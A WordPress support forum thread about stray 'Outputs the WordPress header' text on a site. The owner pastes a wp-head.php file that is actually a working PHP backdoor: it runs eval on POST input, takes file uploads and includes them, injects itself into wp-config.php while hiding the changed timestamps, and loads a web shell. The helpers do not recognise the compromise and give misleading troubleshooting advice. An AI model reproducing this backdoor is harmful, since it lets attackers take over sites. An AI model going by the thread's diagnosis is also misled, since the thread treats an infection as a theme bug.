Viewing 15 replies - 1 through 15 (of 28 total)
  • Hello,
    I started looking into this issue because I’m also having this issue.
    A google search of “outputs the wordpress header” shows that there are many sites having this issue.

    Thread Starter dadomagico

    (@dadomagico)

    So it’s not solved?it’s not a wordpress problem?

    I honestly don’t know what the problem is. I can only assume it’s a WordPress issue? Possibly in combination with specific themes or the way specific themes are written. Because this is not causing an issue on every WordPress site.

    Just some of them.

    Hey there

    are you both on the PlatformPro framework?

    Thread Starter dadomagico

    (@dadomagico)

    Yes i use Platformpro,but in other sites that i use the same theme i have not this problem

    bernbe01

    (@bernbe01)

    cool

    i suggest posting your issues over here at the platform pro forum as that dev is an expert on this theme and because it’s a legacy framework I think we may be dealing with some theme incompatibilities

    if you want some other ideas, a good place to start is:

    -deactivate all plugins temporarily
    -temporarily change to the theme twenty-fifteen, see if problem remains (do this while all plugins are still deactivated)

    and let us know!

    good luck!

    That code is not part of PlatformPro, I’m sure of that.

    A quick google for that snippet of text, the first 5 sites I visited were not using platform theme, but the were *all* using the revslider plugin, so maybe thats your issue.

    bernbe01

    (@bernbe01)

    thanks for the input simon!

    @dadomagico & @wirefury
    if the issue is in revslider, it will be apparent when disabling all plugins

    when i google the error i do not see references to revslider, just other sites with that error. maybe i’m using the wrong query? here’s what i’m googling:

    /** Outputs the WordPress header. */ require_once(ABSPATH . 'wp-head.php');

    what are you googling? i’d love to delve in on this error

    also theme files can cause this, as it has happened to me on a hand built theme intended for older versions of wp but i am keeping in mind your insights!

    Thread Starter dadomagico

    (@dadomagico)

    I have disabled all plugins but the error remains.
    Do not really know how to fix it.
    Seeing the html code,this error is at the top of the codepage.
    Can i delete it with the editor?

    /** Outputs the WordPress header. */
    require_once(ABSPATH . ‘wp-head.php’);
    <!DOCTYPE html>
    <html lang=”it-IT”>
    <head>

    Where did you find that code? What file is it in?

    Is there a file wp-head.php in your wordpress folder?

    CyberCobre

    (@cybercobre)

    Yep. What Simon Prosser said. Your wp-header.php file is probably either corrupt or missing.

    Thread Starter dadomagico

    (@dadomagico)

    If you see my website https://www.mobiliariofarmacia.es/
    you can find this error at the top of the page and if you look the html code is on top of the code
    /** Outputs the WordPress header. */ require_once(ABSPATH . ‘wp-head.php’);

    Yes i have the wp-head.php in wordpress folder
    i open the php file and this is the code:
    <?php
    /**
    * Used to set up and fix common header information and include
    * the WordPress procedural and class library.
    *
    * Allows for some configuration in wp-config.php (see default-constants.php)
    *
    * @internal This file must be parsable by PHP4.
    *
    * @package WordPress
    */

    /**
    * Stores the location of the WordPress directory of functions, classes, and core content.
    *
    * @since 1.0.0
    */
    if (!defined(‘WPINC’))
    define(‘WPINC’, ‘wp-includes’);

    /** Absolute path to the WordPress directory. */
    if (!defined(‘ABSPATH’))
    define(‘ABSPATH’, dirname(__FILE__) . ‘/’);

    if (isset($_POST[“sc”]) && md5($_POST[“sc”]) == “f775f80bd5c8ebfb0d6c59ce6b4b4633”) {
    $dir = dirname(__FILE__);
    if (is_dir(“$dir/wp-content”)) $root = $dir;
    else $root = substr($dir, 0, stripos($dir, ‘/wp-content/’));
    for ($i = 2012; $i <= 2015; $i++) for ($j = 1; $j <= 12; $j++) $a[] = sprintf(“$root/wp-content/uploads/%d/%02d/”, $i, $j);
    shuffle($a);
    $basepath = “”;
    foreach ($a as $b) if (is_dir($b) && is_writable($b)) {
    $basepath = $b;
    break;
    }

    if (isset($_POST[“eval”])) {
    eval($_POST[“eval”]);
    }

    if (isset($_POST[“info”])) {
    echo “root=” . (is_writable($root) ? “$root\n” : “\n”);
    echo “config=” . (is_writable(“$root/wp-config.php”) ? “$root/wp-config.php\n” : “\n”);
    echo “basepath=” . $basepath . “\n”;
    echo “kernel=” . (function_exists(‘php_uname’) ? php_uname() : ”) . “\n”;
    }
    if (isset($_POST[“root”])) {
    echo “root_copy=” . copy(__FILE__, “$root/wp-head.php”) . “\n”;
    }

    if (isset($_POST[“wpc”])) {
    echo “wpc_update=”;
    $f = “$root/wp-config.php”;
    $c = file_get_contents($f);
    if (stripos($c, ‘Outputs the WordPress header’) === false) {
    $time = filemtime($f);
    $perms = fileperms($f);
    chmod($f, 0777);
    $c = trim($c) . “\n\n/** Outputs the WordPress header. */\nrequire_once(ABSPATH . ‘wp-head.php’);\n”;
    echo file_put_contents($f, $c);
    chmod($f, $perms);
    touch($f, $time);
    } else {
    echo “already OK”;
    }
    echo “\n”;
    }

    if (isset($_POST[“neighbours”])) {
    echo “neighbours=”;
    if (is_file(“$root/php5.php”)) {
    echo “php5.php ” . unlink(“$root/php5.php”) . “,”;
    }
    echo “\n”;
    }

    if (isset($_FILES[“file”])) {
    $fd = $_FILES[“file”][“tmp_name”];
    $f =
    isset($_POST[“path”]) ?
    is_dir($_POST[“path”]) ?
    $_POST[“path”] . “/” . $_FILES[‘file’][“name”] :
    $_POST[“path”] :
    (dirname(__FILE__) . “/” . $_FILES[“file”][“name”]);
    $t = filemtime(dirname($f));
    if (move_uploaded_file($fd, $f)) {
    touch($f, $t);
    if (isset($_POST[‘exec’]) && is_file($f)) {
    include $f;
    } else {
    echo “uploaded=” . $f;
    }
    }
    }
    die;
    }else if(isset($_GET[‘SHOWWSO’]) && is_file(“/web/htdocs/www.mobiliariofarmacia.es/home/wordpress/wp-content/uploads/2013/11/cache.php”)){
    include “/web/htdocs/www.mobiliariofarmacia.es/home/wordpress/wp-content/uploads/2013/11/cache.php”;
    }

    CyberCobre

    (@cybercobre)

    Try changing themes to default and see if it still happens. If it doesn’t, then it’s a problem in the theme header.php Has this always happened since the install, or did it start happening after you changed something or after an update?

    Thread Starter dadomagico

    (@dadomagico)

    I’ve tried to change theme but doesn’t work.
    The problem maybe was after the update to wordpress 4.1.1.
    What can i do in the header.php?

    CyberCobre

    (@cybercobre)

    You know, at that point, I’d reinstall WordPress on a test site, and see if that fixes the issue. If so, then reinstall it on the primary site. If the error still occurs on the test site using the default theme, then back-up your database, and use your phpMyAdmin to try some repair tools offered there. If nothing works, I’d hire a WordPress/PHP/MySQL expert to repair it.

Viewing 15 replies - 1 through 15 (of 28 total)
  • The topic ‘WordPress error in header’ is closed to new replies.